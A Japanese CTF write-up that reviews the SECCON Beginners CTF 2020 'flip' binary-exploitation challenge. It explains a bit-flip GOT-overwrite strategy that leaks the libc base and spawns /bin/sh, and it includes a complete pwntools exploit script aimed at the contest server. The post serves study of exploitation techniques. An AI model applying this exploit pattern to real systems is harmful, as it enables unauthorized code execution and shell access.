SECCON Beginners CTF 2020 flip 勉強

この記事は本大会で自分が解けなかった問題flipの復習です.

ガッツリ参考

shift-crops.hatenablog.com

概要

ユーザが指定したアドレスから1バイト分の領域の中で,2ビットだけ反転するプログラム.指定するbitを負数にすれば,反転しないこともできる.

流れ

関数ポインタを書き換えて任意の関数のものと入れ替える.

1.exitのGOTを書き換えて_start+6を刺すようにすることで無限ループするようにする.その後start+6_startに書き換える.

2.libcのベースアドレスのリークを行う. 先ほどと同じように今度は,setbufputsに向ける.

f:id:udon-yuya:20200619122648p:plain
setbufが呼ばれている様子

上図の2回目のsetbufの第1引数であるstderrの8byte先には_IO_read_ptrがあるので,putsによって出力されlibcアドレスの特定ができる.

この書き換えを行うには注意がいる.書き換えが1回のループでは行えないため,そのまま行うと書き換え途中のsetbufが呼ばれてしまう. そこで,未使用の__stack_chk_failを利用する.これをmain関数の先頭に書き換え,exitのGOTを__start_chk_failのPLTにすることでsetbufを呼ばずにループされるようになる.

この間にsetbufのGOTとstderrのポインタを書き換える.その後,exit_start に戻すことで,setbufが呼ばれ,libcアドレスのリークが成功する.

3.setbufputsにしたのと同じように,setbufのGOTをsystemに向け,stderrのポインタを/bin/shに向ける.今回も一度では書き換えれないため,先ほどと同じようにexit__stack_chk_failに向けて書き換えを行う.終えたら,戻してシェルが取れて終了.

コード

from pwn import *

def flip_byte(address, flips):
    s.sendlineafter(">> ", str(address))

    n_flip = 0
    for i in range(8):
        if (flips >> i) & 1:
            s.sendlineafter(') >> ', str(i))
            n_flip += 1
            flips ^= 1 << i
        if n_flip > 1:
            break

    if flips:
        flip_byte(address, flips)
    elif n_flip < 2:
        s.sendlineafter(') >> ', '-1')

def flip_qword(address, flips):
    for i in range(8):
        if flips & 0xff:
            flip_byte(address+i, flips & 0xff)
        flips >>= 8

elf = ELF("./flip")
libc = ELF("./libc-2.27.so")
#s = process("./flip")
s = remote('flip.quals.beginners.seccon.jp', 17539)

addr_got_exit = elf.got['exit']
addr_plt_exit = elf.plt['exit']
addr_start = elf.functions['_start'].address
addr_main = elf.functions['main'].address
addr_got_setbuf = elf.got['setbuf']
addr_plt_stack_chk = elf.plt['__stack_chk_fail']
addr_got_stack_chk = elf.got['__stack_chk_fail']
addr_stderr = elf.symbols['stderr']

offset_libc_setbuf = libc.functions['setbuf'].address
offset_libc_puts = libc.functions['puts'].address
offset_libc_stderr = libc.symbols['_IO_2_1_stderr_']

# Get infinite flip
flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6
flip_byte(addr_got_exit, 6) # exit --> start

flip_qword(addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main)

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

flip_byte(addr_stderr, 8)
flip_qword(addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts)

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

print(s.recvuntil('\n'))
print(s.recvuntil('\n'))
addr_libc_stderr = u64(s.recvuntil('\n')[:-1] + b'\x00'*2) - 0x83
#addr_libc_stderr = int(s.recvuntil('\n')[:-1], 16) - 0x83
addr_libc_base = addr_libc_stderr - offset_libc_stderr
print("addr_libc_base = ", hex(addr_libc_base))

addr_libc_puts = addr_libc_base + libc.functions['puts'].address
addr_libc_system    = addr_libc_base + libc.functions['system'].address
addr_libc_str_sh    = addr_libc_base + next(libc.search(b'/bin/sh'))

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

flip_qword(addr_got_setbuf, addr_libc_puts ^ addr_libc_system)
flip_qword(addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh)

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)


s.interactive()

flip_byte()の軽い説明

最初に行うexitの書き換えを使って説明を行う.

flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6

はじめはまだexitは呼ばれていないためGOTは<exit@plt>+6(0x4006d6)を指しており,_start+6(0x4006e6)と値が似ているため書き換えれる.お互いの排他的論理和を計算し,結果は末尾1バイトにだけ1が現れるはずなのでそれ以外を捨てて,引数として格納する.その後.forループで先ほどのflips引数を確認し,1のところだけを入れ替える.